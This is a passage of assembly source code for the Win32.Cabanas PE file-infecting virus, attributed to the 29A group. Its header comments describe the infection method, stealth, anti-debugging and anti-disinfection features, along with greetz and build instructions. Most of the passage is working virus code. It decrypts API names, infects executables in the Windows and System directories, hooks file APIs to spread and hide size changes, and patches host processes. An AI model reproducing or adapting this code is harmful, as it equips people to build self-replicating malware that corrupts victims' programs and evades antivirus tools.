NT. On the contrary, in Windows 95 the virus "feels +; completely at home" and straightforwardly (even in the absence of the +; addresses of GetModuleHandleA or GetModuleHandleW) determines the base +; address of KERNEL32.DLL and GetProcAddress via an undocumented method. +; +; Using the GetProcAddress function, Win32.Cabanas can easily get the +; address of any WIN32 KERNEL API procedure that it needs. This is precisely +; what the virus does: it gets the addresses and stores them. +; +; Then Win32.Cabanas initiates its engine for infecting EXE and SCR PE-files +; in \WINDOWS, \WINDOWS\SYSTEM, and the current folder. Prior to infecting a +; file, the virus checks for a copy of its code through certain fields in +; the PE header and by the file size, which for an infected must be a +; multiple of 101. As already mentioned, the virus searches for the names of +; GetModuleHandleA, GetModuleHandleW or GetProcAddress in the Import Table +; and saves the references to their addresses. Then it appends its code at +; the file end in the last segment section (usually, .reloc) after modifying +; the characteristics and size of this section. Thereafter, the virus +; replaces the five initial bytes of the original entry point of the code +; section (usually, .text or CODE) by a command for transferring control to +; the virus code in the last segment section (.reloc). For this purpose, the +; virus examines the relocation table (.reloc) for finding some element in +; the region of bytes that the virus had modified. If any, the virus +; "disables" the reference and stores its address and value for restoring +; the initial bytes of the entry point at the time of transfer of control +; to the host program and, if necessary, for appropriately configuring the +; relocation. +; +; After infecting all files that yield to infection in \WINDOWS, \WINDOWS\ +; SYSTEM, and in the current folder, the virus plants a resident copy into +; the system and "intercepts" the necessary system functions. Using +; VirtualAlloc, the virus allots for itself 12232 bytes in the memory and +; plants its code there. Then it tries to "intercept" the following WIN32 +; KERNEL API functions: GetProcAddress, GetFileAttributesA, +; GetFileAttributesW, MoveFileExA, MoveFileExW, _loopen, CopyFileA, +; CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA, CreateProcessW, +; CreateFileA, CreateFileW, FindClose, FindFirstFileA, FindFirstFileW, +; FindNextFileA, FindNextFileW, SetFileAttrA, and SetFileAttrW. The virus +; "picks up" the addresses of these functions from the Import Table, and +; writes the addresses of its handlers in the Import Table. On failing to +; "intercept" certain necessary functions, the virus, when the host program +; calls for the GetProcAddress function, verifies whether this function is +; necessary for the host program, and returns the address of the virus +; procedure to host program if necessary. When a program calls for certain +; functions that have been "intercepted" by Win32.Cabanas, the file +; infection engine and/or the stealth mechanism are\is initialized. Thus, +; when FindFirstFileA, FindFirstFileW, and FindNextFileA or FindNextFileW +; functions are called, the virus may infect the file which is being +; searched and hide the increase in the infected file size. +; +; Win32.Cabanas cannot be regarded as a "true resident" virus, because it +; "intercepts" system functions and installs its copy in a specific memory +; area only in the current session of an infected program. But what will +; happen on starting, for example, an infected Norton Commander for Windows +; 95 or Command Interpreter for Windows NT? Or a resident program? Indeed, +; Win32.Cabanas will also "work hard" side by side with such a program until +; it is terminated. +; +; Win32.Cabanas contains an encrypted text string +; "(c) Win32.Cabanas v1.0 by jqwerty/29A" +; +; (c) 1997 DialogueScience, Inc., Moscow, Russia. All rights reserved. +; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 +; +; +; 3. Main featurez +; +; * Platformz: WindowsNT, Windows95, Win32s, i.e. all Win32 platformz. +; * Residency: Yes, "Per Process", workin on all Win32 systemz. +; * Non-Residency: Yes, direct action, infects PEz before goin resident. +; * Stealth: Yes, size stealth of inf.filez (F-Potatoe95 fooled). +; * AntiDebuging: Yes, TD32 or any other "aplication" level debuger +; generates an exception when debugin an infected +; aplication. This obviosly doesnt aply for Soft-ICE +; for Windows95, a big monster. +; * AntiHeuristicz: Yes, inf.filez have no obvious symptomz of infection. +; Other Win95 virusez tend to "mark" the PE header so +; they are easily noticeable. See: Other featurez (e). +; * AntiAntivirus: Yes, disinfection of inf.filez is almost *imposible*. +; * Fast infection: Yes, filez are infected when accesed for any reason. +; * Polymorphism: No, the poly engine was stripped and removed on purpose. +; * Other featurez: +; (a) The EntryPoint field in the PE hdr is not modified. +; (b) Win32 file API functionz are hooked for infection and +; stealth purposez but also for platform compatibility. +; (c) Use of the Win32 "File-Maping" API functionz, thus +; implementin "Memory-Mapped Filez". No more "ReadFile", +; "SetFilePointer", "WriteFile"... it was about time. +; (d) Absolutely no use of absolute adressez in sake of +; compatibility with other future Win32 releasez. +; (e) The SHAPE AV program sucks, but sadly it was the best +; thing detectin PE infected filez heuristicaly. Well +; almost as it didnt triger a single flag on this one :) +; (f) Use of "Structured Exception Handling" (SEH) in those +; critical code fragmentz that could generate GP faultz, +; i.e. exceptionz are intercepted and handled properly. +; (g) Unicode suport. This babe really works in NT. No lie. +; +; +; 4. Who was Cabanas? +; +; Gonzalo Cabanas used to be a daydream believer. We shared several thingz +; in comon, heard same R.E.M music style, wore the same ragged blue jeanz, +; and behaved like kidz everywhere we went together, putin tackz on the tea- +; cher's chair, stealin some classmate's lunch and so on. We even liked the +; same girlz, which explains why we sometimez ended up punchin each other's +; face from time to time. However, u could find us the next day, smoking a- +; round by the skoolyard as if nothin had ever hapened. We were the best +; friendz ever. I know this virus wont return him back to life, nor "will do +; him justice", however, i still wanted to somewhat dedicate this program in +; his honor. +; +; +; 5. Greetz +; +; The greetz go to: +; +; Gonzo Cabanas ......... Hope to see u somewhere in time.. old pal! +; Murkry ................ Whoa.. i like yer high-tech ideaz budie! +; VirusBuster/29A ....... U're the i-net man pal.. keep doin it! +; Vecna/29A ............. Keep up the good work budie.. see ya! +; l- .................... Did ya ask for some kick-ass lil' creature? X-D +; Int13 ................. Hey pal.. u're also a southamerican rocker! ;) +; Peter/F-Potatoe ....... Yer description rulez.. Mikko's envy shines! +; DV8 (H8), kdkd, etc ... Hey budiez.. now where da hell are u? +; GriYo, Sandy/29A ...... Thx for yer patience heh X-D +; +; +; 6. Disclaimer +; +; This source code is for educational purposez only. The author is not res- +; ponsable for any problemz caused due to the assembly of this file. +; +; +; 7. Compiling it +; +; tasm32 -ml -m5 -q -zn cabanas.asm +; tlink32 -Tpe -c -x -aa cabanas,,, import32 +; pewrsec cabanas.exe +; +; +; (c) 1997 Jacky Qwerty/29A. + + +.386p ;generate 386+ protected mode instructionz +.model flat ;no segmentz and a full 32-bit offset.. what a dream ;) + +;Some includez containin very useful structurez and constantz for Win32 + +include Useful.inc +include Win32API.inc +include MZ.inc +include PE.inc + +;Some equ's needed by the virus + +nAPIS = 1*1024 ;size of jump table holdin hooked APIz +nHANDLEZ = 2*1024 + 512 ;size of Handlez table +nPATHNAMEZ = 4*1024 + 512 ;size of PathNamez table + +extrn GetModuleHandleA :proc ;APIz used durin first generation only +extrn GetProcAddress :proc + +.data + db ? ;some dummy data so tlink32 dont yell + +.code + +;Virus code starts here + +v_start: + + call get_base + +code_table: + + dd 12345678h ;host RVA entry point + dw 1 ;number of bytez + db ? ;bytez to patch + dw 0 ;end of parameter block + +code_start: + +;Packed APIz needed by the virus. They will travel in packed/encrypted form + +ve_stringz: + +veszKernel32 db 'KERNEL32',0 +veszGetModuleHandleA db 'GetModuleHandleA' +veszGetModuleHandleW db 80h,17 + +eExts db 'fxEtcR',0 ;list of file extensionz + +veszGetProcAddress db 'GetProcAddress',0 +veszGetFileAttributesA db 'Ge','t'+80h,'AttributesA' +veszGetFileAttributesW db 80h,19 +veszMoveFileExA db 'Mov','e'+80h,'ExA' +veszMoveFileExW db 80h,12 +vesz_lopen db '_lopen',0 +veszCopyFileA db 'Cop','y'+80h,'A' +veszCopyFileW db 80h,10 +veszOpenFile db 'Ope','n'+80h,0 +veszMoveFileA db 'Mov','e'+80h,'A' +veszMoveFileW db 80h,10 +veszCreateProcessA db 'CreateProcessA' +veszCreateProcessW db 80h,15 +veszCreateFileA db 'Creat','e'+80h,'A' +veszCreateFileW db 80h,12 +veszFindClose db 'FindClose',0 +veszFindFirstFileA db 'FindFirs','t'+80h,'A' +veszFindFirstFileW db 80h,15 +veszFindNextFileA db 'FindNex','t'+80h,'A' +veszFindNextFileW db 80h,14 +veszSetFileAttributesA db 'Se','t'+80h,'AttributesA' +veszSetFileAttributesW db 80h,19 +veszCloseHandle db 'CloseHandle',0 +veszCreateFileMappingA db 'Creat','e'+80h,'MappingA',0 +veszMapViewOfFile db 'MapViewO','f'+80h,0 +veszUnmapViewOfFile db 'UnmapViewO','f'+80h,0 +veszSetFilePointer db 'Se','t'+80h,'Pointer',0 +veszSetEndOfFile db 'SetEndO','f'+80h,0 +veszSetFileTime db 'Se','t'+80h,'Time',0 +veszGetWindowsDirectory db 'GetWindowsDirectoryA',0 +veszGetSystemDirectory db 'GetSystemDirectoryA',0 +veszGetCurrentProcess db 'GetCurrentProcess',0 +veszGetModuleFileName db 'GetModul','e'+80h,'NameA',0 +veszWriteProcessMemory db 'WriteProcessMemory',0 +veszWideCharToMultiByte db 'WideCharToMultiByte',0 +veszVirtualAlloc db 'VirtualAlloc',0 + +eEndOfFunctionNamez db 0 + +;Copyright and versionz + +eszCopyright db "(c) Win32.Cabanas v1.1 by jqwerty/29A.",0 + +ve_string_size = $ - ve_stringz + +get_base: + + mov ecx,ve_string_size ;get size of packed/encrypted stringz + mov esi,[esp] ;get pointer to packed/encrypted stringz + xor ebx,ebx + mov eax,esi + sub esi,ecx + cld + sub dword ptr [esp],code_table - seh_fn + add esi,[eax - 4] + push dword ptr fs:[ebx] ;set SEH frame.. ever seen FS in action? X-D + lea edi,[esi + pCodeTable - ve_stringz] + stosd ;save pointer to code_table + add eax,12345678h +delta_host = dword ptr $ - 4 + stosd ;save actual host base adress + mov eax,esi + stosd ;save pointer to virus start + +ebp_num = ddGetProcAddress + 7Fh +tmp_edi = pcode_start + 4 + + mov fs:[ebx],esp + pushad + xchg eax,[ebx - 2] ;go away lamerz and wannabeez.. + db 2Dh + +seh_rs: sub edi,tmp_edi - v_stringz ;get pointer to KERNEL32 API name + pop eax + push edi ;pass the pointer twice + push edi + +decrypt_stringz: ;decrypt/unpack API namez and other stringz + + lodsb + rol al,cl + xor al,0B5h + jns d_stor + add al,-80h + jnz d_file + stosb ;expand/unpack unicode API name + xor eax,eax + lodsb + push esi + xchg ecx,eax + mov esi,edx + rep movsb + xchg ecx,eax + sub byte ptr [edi - 2],'A'-'W' + pop esi + jmp d_updt +d_file: stosb + xor eax,eax + sub eax,-'eliF' ;expand to 'File' where aplies + stosd + cmp al,? + org $ - 1 +d_stor: stosb + jnz d_loop +d_updt: mov edx,edi +d_loop: loop decrypt_stringz ;get next character + + call MyGetModuleHandleA ;get KERNEL32 base adress (first try) + pop esi + jnz gotK32 ;jump if found + sub ecx,ecx + xor eax,eax + mov cl,9 + push edi + cld + +copy_K32W: ;make unicode string for KERNEL32 + + lodsb + stosw + loop copy_K32W + call MyGetModuleHandleW ;get KERNEL32 base adress (second try) + jnz gotK32 ;jump if found + call MyGetModuleHandleX ;get KERNEL32 base adress (third try) + jnz gotK32 ;jump if found + +quit_app: + + pop eax ;shit.. KERNEL32 base adress not found + ret ;try to quit aplication via an undocumented way + + db 67h ;some prefix to confuse lamerz +seh_fn: mov eax,[esp.EH_EstablisherFrame] + lea esp,[eax - cPushad] + popad + xor eax,eax + lea ebp,[edi + ebp_num - tmp_edi] + pop dword ptr fs:[eax] ;remove SEH frame + jmp seh_rs + +gotK32: mov [ebp + K32Mod - ebp_num],eax ;store KERNEL32 base adress + cmp dword ptr [ebp + ddGetProcAddress - ebp_num],0 + xchg ebx,eax + jnz find_APIs ;got RVA pointer to GetProcAdress API? + lea esi,[ebp + vszGetProcAddress - ebp_num] + call MyGetProcAddressK32 ;no, get adress of GetProcAdress directly + jecxz find_APIs + lea eax,[ebp + ddGetProcAddress2 - ebp_num] + mov [eax],ecx + sub eax,[ebp + phost_hdr - ebp_num] + mov [ebp + ddGetProcAddress - ebp_num],eax + +find_APIs: ;find file related API adressez from KERNEL32.. + + lea esi,[ebp + FunctionNamez - ebp_num] + lea edi,[ebp + FunctionAdressez - ebp_num] + +GetAPIAddress: + + call MyGetProcAddressK32 ;get API adress + jecxz quit_app + cld + xchg eax,ecx + stosd ;save retrieved API adress + @endsz ;point to next API name + cmp [esi],al ;end of API namez reached? + jnz GetAPIAddress ;no, get next API adress + + lea ebx,[ebp + Process_Dir - ebp_num] + lea edi,[ebp + PathName - ebp_num] + push 7Fh + push edi + call [ebp + ddGetWindowsDirectoryA - ebp_num] + call ebx ;infect filez in WINDOWS directory + push 7Fh + push edi + call [ebp + ddGetSystemDirectoryA - ebp_num] + call ebx ;infect filez in SYSTEM directory + xor eax,eax + mov byte ptr [edi],'.' + inc eax + call ebx ;infect filez in current directory + +build_host: ;rebuild the host.. + + mov esi,[ebp + pCodeTable - ebp_num] ;get code table of host + mov ebx,[ebp + phost_hdr - ebp_num] ;get host base adress + cld + lodsd + add eax,0B2FD26A3h ;decrypt original entry point RVA +add_1st_val = dword ptr $ - 4 + xchg edi,eax + add edi,ebx + push edi ;save entry point for l8r retrieval + +get_count: + + call [ebp + ddGetCurrentProcess - ebp_num] ;get pseudo-handle for current process + xchg ecx,eax + cld + lodsw ;get number of bytes to copy + cwde + xchg ecx,eax + mov edx,ecx + push ecx ;push parameterz to WriteProcessMemory API + push eax + push esp + push ecx + push esi + push edi + push eax + +decrypt_hostcode: ;decrypt the chunk of original host code previosly encrypted.. + + lodsb + xor al,06Ah +xor_2nd_val = byte ptr $ - 1 + rol al,cl + mov [esi-1],al + loop decrypt_hostcode + sub ecx,12345678h +old_base = dword ptr $ - 4 + add ecx,ebx ;has host base adress been relocated? + jz write_chunk ;no, relocation fix not necesary.. jump + + ;fix code pointed to by one or more nulified relocationz.. + + pushad ;get RVA start of relocation section.. + lea esi,[ebx.MZ_lfanew] + sub edi,ebx + add esi,[esi] + mov ecx,[esi.NT_OptionalHeader \ ;get size of relocation dir. + .OH_DirectoryEntries \ + .DE_BaseReloc \ + .DD_Size \ + -MZ_lfanew] + jecxz _popad + mov esi,[esi.NT_OptionalHeader \ ;get RVA to relocation section + .OH_DirectoryEntries \ + .DE_BaseReloc \ + .DD_VirtualAddress \ + -MZ_lfanew] + call redo_reloc ;pass adress of fix_relocs label as a parameter + +fix_relocs: ;process relocation block and look for nulified relocationz.. + + lodsw ;get relocation item + cwde + dec eax + .if sign? + jnc f_next_reloc ;if first item, jump to get next relocation item + .endif + test ah,mask RD_RelocType shr 8 ;is relocation nulified? + jnz f_next_reloc ;no, jump to get next relocation item + lea eax,[eax + ebx + 5] + cmp edi,eax ;relocation item points inside chunk of code? + jnc f_next_reloc ;no, jump to get next relocation item + add eax,-4 + cmp eax,edx + jnc f_next_reloc ;no, jump to get next relocation item + + ;relocation item is pointing inside chunk of code.. add delta to fix it.. + + pushad + mov ebx,[esp.(4*Pshd).cPushad.Pushad_ebx] ;get actual host base adress + mov ebp,[ebx + edi - 4] + mov ecx,[esp.(3*Pshd).(2*cPushad).Arg3] ;get pointer to chunk of code inside code table + mov ebx,[ebx + edx] + xchg ebp,[ecx - 4] + sub ecx,edi + mov esi,[esp.(4*Pshd).cPushad.Pushad_ecx] ;get relocation delta to add + xchg ebx,[edx + ecx] + add [eax + ecx],esi ;add delta.. (aack! damned relocationz..) + mov [edx + ecx],ebx + popad + clc + +f_next_reloc: + + loop fix_relocs ;get next relocation item + ret + +redo_reloc: + + call get_relocs +_popad: popad + +write_chunk: + + call [ebp + ddWriteProcessMemory - ebp_num] ;write chunk of code to the code section + xchg ecx,eax + pop edx + cld + pop eax + jecxz n_host ;if error, jump and try to stay resident without jumpin back to host + xor edx,eax + lodsw ;get pointer to next chunk of code to patch, if any + jnz n_host ;if error, jump and try to stay resident without jumpin back to host + cwde + xchg ecx,eax + sub edi,ecx + jecxz go_resident ;no more chunkz, jump and try to stay resident, then jump back to host + jmp get_count ;jump and patch the next chunk +n_host: pop eax ;unwind return adress, an error occured, cant jump to host :( + +go_resident: + + lea esi,[ebp + FindData - ebp_num] + push MAX_PATH + push esi + push ecx + call [ebp + ddGetModuleFileName - ebp_num] ;get host filename + xchg ecx,eax + lea ebx,[ebp + jmp_addr_table - ebp_num] ;get pointer to start of jump adress table + jecxz g_host + call Open&MapFile ;open host filename and memory-map it +g_host: jecxz jmp_host ;if error, jump back to host + push PAGE_EXECUTE_READWRITE + push MEM_COMMIT or MEM_RESERVE or MEM_TOP_DOWN + push (virtual_end2 - code_start + 3) and -4 + push esi ;NULL ;let OS choose memory adress + call [ebp + ddVirtualAlloc - ebp_num] ;allocate enough memory for virus code and bufferz + lea ecx,[ebp + FunctionNamez2 - ebp_num] ;get pointer to start of function namez to hook + mov edi,non_res - code_start + xchg ecx,eax ;get size of new allocated block + lea esi,[ecx + PathNamez - code_start] + jecxz close_jmp_host ;if error on VirtualAlloc, close file and jump to host + xchg edi,ecx ;get target adress of new allocated block + mov [ebp + pPathNamez - ebp_num],esi ;initialize pointer to store future pathnamez retrieved by Find(First/Next)File(A/W) + mov esi,edi + xchg [ebp + pcode_start - ebp_num],esi ;get source adress of virus code and store new target adress as new source adress + lea edx,[edi + ecx + jmp_table_size + 1] + mov [ebp + pNewAPIs - ebp_num],edx ;initialize pointer to store hooked APIs in the new jump table + cld + rep movsb ;copy virus code to new allocated block + mov [esi],cl ;force a null to mark the end of function namez to hook + pop ecx ;get start of memory-maped file + inc edi ;get pointer to NewAPItable + push ecx + +hook_api: ;hook API functionz, retrieve old API adress and build new API entry into jump table.. + + pushad + call IGetProcAddressIT ;get RVA pointer of API function inside import table + test eax,eax + jz next_api_hook ;if not found, jump and get next API name + add eax,[ebp + phost_hdr - ebp_num] ;convert RVA to real pointer by addin the actual host base adress + mov edx,esp + push eax + push esp + xchg esi,eax + mov al,0B8h ;build "mov eax,?" instruction into jump table + push 4 + push edx + stosb + call [ebp + ddGetCurrentProcess - ebp_num] + push esi + push eax + cld + movsd ;get and copy old API adress into jump table + call [ebp + ddWriteProcessMemory - ebp_num] ;set our API hook + cld + mov al,0E9h ;build "jmp ?" instruction to jump to new API handler + pop edx + pop ecx + stosb + movzx eax,word ptr [ebx] ;build relative offset to new API handler + sub eax,edi + add eax,[ebp + pcode_start - ebp_num] + stosd + push edi + +next_api_hook: + + popad + inc ebx + xchg esi,eax + @endsz ;get pointer to next API name + inc ebx + cmp [esi],al ;check end of API namez to hook + xchg eax,esi + jnz hook_api ;jump and get next API, if there are more APIz to hook + +close_jmp_host: + + call Close&UnmapFile ;close and unmap host file + +jmp_host: + + cld + pop eax + jmp eax ;jmp to host.. or try to quit aplication if an error ocurred while patchin the code section + +NewGetProcAddr: ;new GetProcAddress API entry point.. hook wanted API functionz from KERNEL32.. + + call APICall@n_2 ;call old GetProcAdress API and retrieve API adress in EAX + pushad + mov ecx,[esp.cPushad.Arg1] ;get module handle/base adress + call get_ebp ;get EBP to reference internal variablez correctly + xchg ecx,eax + jecxz end_getproc ;get out if retrieved API adress is zero + sub eax,[ebp + K32Mod - ebp_num] ;is it KERNEL32 base adress? + jnz end_getproc ;no, get out + lea edx,[ebp + jmp_addr_table - 2 - ebp_num] ;yea its KERNEL32, get pointer to start of jump table + lea edi,[ebp + FunctionNamez2 - 1 - ebp_num] ;get pointer to API function namez to hook + cld + +n_gproc_next_str: ;search specified API function name from the list of posible API namez to hook.. + + inc edx + scasb ;get adress to next API function name + jnz $ - 1 + mov esi,[esp.cPushad.Arg2] ;get pointer to specified API function name + inc edx + scasb + jz end_getproc ;if end of API namez reached, get out + dec edi + +n_gproc_next_chr: + + cmpsb ;do API namez match? + jnz n_gproc_next_str ;no, get next API name + dec edi + scasb + jnz n_gproc_next_chr + +n_gproc_apis_match: ;API namez match, we need to hook the API.. + + lea ebx,[ebp + NewAPItable + nAPIS - 10 - ebp_num] ;get top of jump table + mov edi,[ebp + pNewAPIs - ebp_num] ;get current pointer to build new API entry + cmp ebx,edi ;check if jump table is full + jc end_getproc ;get out if full + push edi + sub al,-0B8h ;build "mov eax,?" instruction into jump table + stosb + pop eax + xchg eax,[esp.Pushad_eax] ;retrieve old API adress and swap with the new API adress + stosd + mov al,0E9h ;build "jmp ?" instruction to jump to new API handler + stosb + movzx eax,word ptr [edx] ;build relative offset to new API handler + sub eax,edi + add eax,[ebp + pcode_start - ebp_num] + stosd + mov [ebp + pNewAPIs - ebp_num],edi ;update pointer to next API entry in the jump table + +end_getproc: + + popad + ret (2*Pshd) ;return to caller + +jmp_addr_table: ;adress table.. contains relative offsetz to new API handlerz.. + + dw NewGetProcAddr - code_start - 4 + dw NewGetFileAttrA - code_start - 4 + dw NewGetFileAttrW - code_start - 4 + dw NewMoveFileExA - code_start - 4 + dw NewMoveFileExW - code_start - 4 + dw New_lopen - code_start - 4 + dw NewCopyFileA - code_start - 4 + dw NewCopyFileW - code_start - 4 + dw NewOpenFile - code_start - 4 + dw NewMoveFileA - code_start - 4 + dw NewMoveFileW - code_start - 4 + dw NewCreateProcessA - code_start - 4 + dw NewCreateProcessW - code_start - 4 + dw NewCreateFileA - code_start - 4 + dw NewCreateFileW - code_start - 4 + dw NewFindCloseX - code_start - 4 + dw NewFindFirstFileA - code_start - 4 + dw NewFindFirstFileW - code_start - 4 + dw NewFindNextFileA - code_start - 4 + dw NewFindNextFileW - code_start - 4 + dw NewSetFileAttrA - code_start - 4 + dw NewSetFileAttrW - code_start - 4 + +jmp_table_size = $ - jmp_addr_table + +NewSetFileAttrW: ;new API handlerz (unicode version).. +NewCreateFileW: +NewCreateProcessW: +NewMoveFileW: +NewCopyFileW: +NewMoveFileExW: +NewGetFileAttrW: +CommonProcessW: + + test al,? ;clear carry (unicode version) + org $ - 1 + +NewSetFileAttrA: ;new API handlerz (ansi version).. +NewCreateFileA: +NewCreateProcessA: +NewMoveFileA: +NewOpenFile: +NewCopyFileA: +New_lopen: +NewMoveFileExA: +NewGetFileAttrA: +CommonProcessA: + + stc ;set carry (ansi version) + pushad + call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz) + jecxz jmp_old_api + call findfirst ;get atributez, size of file and check if it exists + jz jmp_old_api + dec eax + push eax ;save search handle + @copysz ;copy filename to an internal buffer + call Process_File2 ;try to infect file.. + +NCF_close: + + call [ebp + ddFindClose - ebp_num] ;close file search + +jmp_old_api: + + popad + jmp eax ;jump to original API adress + +NewFindFirstFileW: ;new findfirst API handler.. infect files, stealth (unicode version) + + test al,? ;clear carry (unicode version) + org $ - 1 + +NewFindFirstFileA: ;new findfirst API handler.. infect files, stealth (ansi version) + + stc ;set carry (ansi version) + call APICall@n_2 ;call old findfirst API + pushad + inc eax ;if any error, get out + jz go_ret_2Pshd + dec eax + jz go_ret_2Pshd + call get_ebp2_Uni2Ansi ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz) + jecxz go_ret_2Pshd + mov edi,[ebp + pPathNamez - ebp_num] ;get pointer to new entry in pathnamez table + lea ebx,[ebp + PathNamez + nPATHNAMEZ - MAX_PATH - ebp_num] ;get top of pathnamez table + cmp edi,ebx + jnc go_ret_2Pshd ;if not enough space to store filename, jump + mov ebx,edi + @copysz ;copy filename to pathnamez table +next2_ff: mov al,[edi - 1] ;get end of path.. + add al,-'\' + jz eop_ff + sub al,':' - '\' + jz eop_ff + dec edi + cmp ebx,edi + jc next2_ff + xor al,al +eop_ff: stosb ;force null to split path from filename + mov [ebp + pPathNamez - ebp_num],edi ;update pointer to next entry in pathnamez table + call get_handle_ofs_0 ;get new free entry in handlez table + jc go_ret_2Pshd + mov eax,[esp.Pushad_eax] ;get handle returned by findfirst + stosd ;store handle into handlez table + xchg eax,ebx + stosd ;store pointer to asociated pathname into handlez table as well + mov [ebp + pHandlez - ebp_num],edi ;update pointer to next entry in handlez table + xchg esi,eax + jmp FindCommon + +go_ret_2Pshd: popad ;return to caller + ret (2*Pshd) + +NewFindNextFileW: ;new findnext API handler.. infect files, stealth (unicode version) + + test al,? ;clear carry (unicode version) + org $ - 1 + +NewFindNextFileA: ;new findnextt API handler.. infect files, stealth (ansi version) + + stc ;set carry (ansi version) + call APICall@n_2 ;call old findnext API + pushad + call get_handle_ofs_ebp ;get correct entry in handlez table acordin to handle + jc go_ret_2Pshd + mov esi,[edi + 4] ;get respective pathname + +FindCommon: lea edi,[ebp + PathName - ebp_num] + @copysz ;copy pathname to respective buffer + dec edi + mov ebx,[esp.cPushad.Arg2] ;get WIN32_FIND_DATA parameter + or al,[ebp + uni_or_ansi - ebp_num] ;check if its ansi or unicode + lea esi,[ebx.WFD_szFileName] ;get filename + jnz its_ansi_fc + call Uni2Ansi ;its unicode, convert to ansi and atach filename to pathname +its_ansi_fc: call Process_File3 ;try to infect file + call get_size ;get file size + jnz go_ret_2Pshd + test [ebx.WFD_nFileSizeLow.hiw.hib],11111100b ;filesize > 64MB? + jnz go_ret_2Pshd ;yea, file too large, jump + div ecx + dec edx + jns go_ret_2Pshd ;if not infected, jump, stealth not necesary + call check_PE_file ;file is infected, do size stealth + jmp go_ret_2Pshd + +NewFindCloseX: mov cl,1 + call APICall@n ;call old findclose API + pushad + call get_handle_ofs_ebp ;get correct entry in handlez table acordin to handle + jc go_ret_Pshd + lea esi,[edi + 4] + mov ecx,[ebp + pHandlez - ebp_num] + lodsd + sub ecx,esi + pushad + xchg esi,eax ;remove pathname entry + mov ecx,[ebp + pPathNamez - ebp_num] + mov edi,esi + @endsz + sub ecx,esi + mov [esp.Pushad_ebx],ecx + rep movsb + mov [ebp + pPathNamez - ebp_num],edi ;update pointer to handlez table + popad + shr ecx,3 ;remove handle entry + jz setH_fc +FixpPathNamez: movsd + lodsd + sub eax,ebx + stosd + loop FixpPathNamez +setH_fc: mov [ebp + pHandlez - ebp_num],edi ;update pointer to pathnamez table +go_ret_Pshd: popad + ret (Pshd) + +Open&MapFile proc ;open and map file in read only mode + ; on entry: + ; ESI = pszFileName (pointer to file name) + ; on exit: + ; ECX = 0, if error + ; ECX = base adress of memory-maped file, if ok + + xor edi,edi + +Open&MapFileAdj: ;open and map file in read/write mode + ; on entry: + ; EDI = file size + work space (in bytes) + ; ESI = pszFileName (pointer to file name) + ; on exit: + ; ECX = 0, if error + ; ECX = base adress of memory-maped file, if ok + ; EDI = old file size + + xor eax,eax + push eax ;0 + push eax ;FILE_ATTRIBUTE_NORMAL + push OPEN_EXISTING + push eax ;NULL + mov al,1 + push eax ;FILE_SHARE_READ + ror eax,1 ;GENERIC_READ + mov ecx,edi + jecxz $ + 4 + rcr eax,1 ;GENERIC_READ + GENERIC_WRITE + push eax + push esi ;pszFileName + call [ebp + ddCreateFileA - ebp_num] ;open file + cdq + xor esi,esi + inc eax + jz end_Open&MapFile ;if error, jump + dec eax + push eax ;push first handle + + push edx ;NULL + push edi ;file size + buffer size + push edx ;0 + mov dl,PAGE_READONLY + mov ecx,edi + jecxz $ + 4 + shl dl,1 ;PAGE_READWRITE + push edx + push esi ;NULL + push eax ;handle + call [ebp + ddCreateFileMappingA - ebp_num] ;create file mapping + cdq + xchg ecx,eax + jecxz end_Open&MapFile2 ;if error, close handle and jump + push ecx ;push second handle + + push edi ;file size + buffer size + push edx ;0 + push edx ;0 + mov dl,FILE_MAP_READ + test edi,edi + .if !zero? + shr dl,1 ;FILE_MAP_WRITE + mov edi,[ebx.WFD_nFileSizeLow] + .endif + push edx + push ecx ;handle + call [ebp + ddMapViewOfFile - ebp_num] ;map view of file + xchg ecx,eax + jecxz end_Open&MapFile3 + push ecx ;push base adress of memory-maped file + + jmp [esp.(3*Pshd).RetAddr] ;jump to return adress leavin parameterz in the stack + +Open&MapFile endp + +Close&UnmapFile proc ;close and unmap file previosly opened in read only mode + + xor edi,edi + +Close&UnmapFileAdj: ;close and unmap file previosly opened in read/write mode + + pop [esp.(4*Pshd).RetAddr - Pshd] + call [ebp + ddUnmapViewOfFile - ebp_num] ;unmap view of file + +end_Open&MapFile3: + + call [ebp + ddCloseHandle - ebp_num] ;close handle + mov ecx,edi + jecxz end_Open&MapFile2 ;if read-only mode, jump + pop eax + push eax + push eax + xor esi,esi + push esi + push esi + push edi + push eax + xchg edi,eax + call [ebp + ddSetFilePointer - ebp_num] ;move file pointer to the real end of file + call [ebp + ddSetEndOfFile - ebp_num] ;truncate file at real end of file + lea eax,[ebx.WFD_ftLastWriteTime] + push eax + push esi + push esi + push edi + call [ebp + ddSetFileTime - ebp_num] ;restore original date/time stamp field + +end_Open&MapFile2: + + call [ebp + ddCloseHandle - ebp_num] ;close handle + +end_Open&MapFile: + + xor ecx,ecx + ret + +Close&UnmapFile endp + +get_ebp2_Uni2Ansi: ;this function sets EBP register to reference internal + ; variablez correctly and also converts unicode + ; strings to ansi (for unicode version APIz only). + ;this function is only useful at the resident stage. + ;on entry: + ; TOS+28h (Pshd.cPushad.Arg1): pointer to specified file name + ;on exit: + ; ECX = 0, if error + + mov esi,[esp.(Pshd).cPushad.Arg1] ;get source pointer to specified file name + call get_ebp2 ;get actual EBP + lea edi,[ebp + PathName - ebp_num] ;get target pointer to internal buffer + jc ansiok + +Uni2Ansi: ;this function converts an ansi string to a unicode string + ;on entry: + ; ESI = pointer to specified file name + ;on exit: + ; ECX = 0, if error + + xor eax,eax + push eax ;NULL + push eax ;NULL + push MAX_PATH + push edi ;target pointer + push -1 + push esi ;source pointer + push eax + push eax ;CP_ACP + call [ebp + ddWideCharToMultiByte - ebp_num] + mov esi,edi +ansiok: xchg ecx,eax + cld + ret + +Rva2Raw proc ;this function converts RVA valuez to RAW pointerz inside PE + ; filez. This function is specialy useful for memory-maped + ; filez. + ;given a RVA value, this function returns the start adress + ; and size of the section containin it, plus its relative + ; delta value inside the section. + ;on entry: + ; EAX = RVA value + ; EBP = start of memory-maped file (MZ header) + ; ESI = start of PE header + 3Ch + ;on exit: + ; EBP = RAW size of section + ; EBX = RAW start of section + ; ECX = 0, if not found + ; start of respective section header (+ section header + ; size), if found + ; EDX = RVA start of section + ; ESI = relative delta of RVA value inside section. + + movzx ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz + .FH_NumberOfSections \ + 